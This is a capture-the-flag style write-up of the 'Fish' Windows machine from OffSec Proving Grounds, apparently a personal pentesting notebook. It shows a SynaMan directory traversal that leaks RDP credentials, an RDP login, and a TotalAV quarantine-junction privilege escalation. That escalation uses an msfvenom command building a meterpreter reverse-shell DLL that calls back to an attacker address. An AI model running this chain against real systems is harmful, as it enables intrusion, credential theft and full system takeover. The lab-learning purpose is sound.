> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/windows/fish.md).

# Fish

Writeup for Fish from offsec Proving Grounds

## Information Gathering

`sudo ./nmapAutomator.sh` 192.168.76.168 `all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FB4vCHxHmNK5NZQ3ONFZC%2Fimage.png?alt=media\&token=98dd2339-ed2d-4ef6-8110-e129a4cae843)

### Service Enumeration

### HTTP (Port 4848)

We are greeted with the admin server login. We tried different default login credentials but it all does not work.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FeeUJFwG9JpPRoXlAE1w0%2Fimage.png?alt=media\&token=f9160768-00f5-4bab-8978-24ef8197260e)

### HTTP (Port 6060)

Seems like this is running SynaMan 4.0. Default credentials also doesn't not seem to work for this one.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FTc2BOZNT9gMgPneVl44Q%2Fimage.png?alt=media\&token=08edad19-9f83-49c0-b983-a8c5545a17ca)

## Exploit

From our initial service enumeration, we found out the following exploits.

{% embed url="<https://www.exploit-db.com/exploits/39441>" %}

We can verify that this directory traversal exploit is indeed working by doing initial tests.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FPaJl86eVxyyiBPpro0gY%2Fimage.png?alt=media\&token=9d56cc50-663a-4d62-96fe-98d504014ce4)

Great, it is working.

{% embed url="<https://www.exploit-db.com/exploits/45387>" %}

We can make use of the directory traversal to view the contents in `C:\SynaMan\config\AppConfig.xml` which stores SMTP credentials.

We set our file path to the following and run the scanner again:

`/SynaMan/config/AppConfig.xml`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FLDySlgK6pfAbmlrwFa1Z%2Fimage.png?alt=media\&token=a9dd7eaf-aaf3-47fa-b337-2cb8d913a0b6)

Take note under the `smtpUser` and `smtpPassword` fields, the username, and password is `arthur:KingOfAtlantis`.

We can then use the following command to RDP into the target machine.

`xfreerdp /u:arthur /p:KingOfAtlantis /v:192.168.76.168`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FnBM0wbGYvCNZxG8xmXpW%2Fimage.png?alt=media\&token=56ae4560-f8fe-4e33-a736-fec0daaf078c)

## Privesc

There appears to be an application `TotalAV` on the desktop.

{% embed url="<https://www.exploit-db.com/exploits/47897>" %}

Let's do the following:

1. Plant the malicious file in this case we use DLL file
2. To exploit the vulnerability antivirus must detect the malicious DLL
3. Move it to quarantine.
4. The attacker must create an NTFS directory junction to restore

We can generate our DLL file using the following command:

`msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.49.76 lport=443 -f dll > version.dll`

Next, we need a tool to help with the directory junction.&#x20;

{% embed url="<https://github.com/googleprojectzero/symboliclink-testing-tools>" %}

In here contains CreateMountPoint.exe which can create the directory links.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FYRaT2i9Xz5cTP2SIWrI2%2Fimage.png?alt=media\&token=bcbd2258-0e6d-444e-bda3-fe93b6209d7b)

Next, we can transfer our files to the target machine.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FNNYUO6z8dq6owZDGDOkK%2Fimage.png?alt=media\&token=cd6d8937-3903-46e5-b176-31945912e80d)

Next, we make a directory `\mount\` and move `version.dll` into it.

We can then make a custom scan in TotalAV and scan our malicious file.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FBmS3zTHqglevayjc9H8S%2Fimage.png?alt=media\&token=dcb664bc-0329-41f7-95df-9348b320ced2)

Great, TotalAV has detected the file and we can set our action to quarantine and click remove threats.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FFcVoz2QtJGY0v97eGYlz%2Fimage.png?alt=media\&token=b624f30b-6c49-47eb-bab3-0d52a2ea4668)

After `version.dll` is in quarantine, we can use `CreateMountPoint.exe` to link the mount directory to another location. In this case, we mount the directory to the .NET Framework location on this system.

`.\CreateMountPoint.exe "C:\Users\arthur\Downloads\mount" "C:\Windows\Microsoft.NET\Framework\v4.0.30319"`

We can then use Metasploit to receive our reverse shell connection.

&#x20;

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FvZeEeK7uzLT1WhuG3LfO%2Fimage.png?alt=media\&token=b0ec9822-9951-470f-8bd8-ce9434a97a53)

The DLL needs to be loaded by a system process, so we reboot the target machine. After which, we receive a connection to our Metasploit listener and we get SYSTEM.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FGKdfsRBkSHG9enoiAgsF%2Fimage.png?alt=media\&token=f2f4ddb0-478d-4bc3-be7c-245683b9a425)
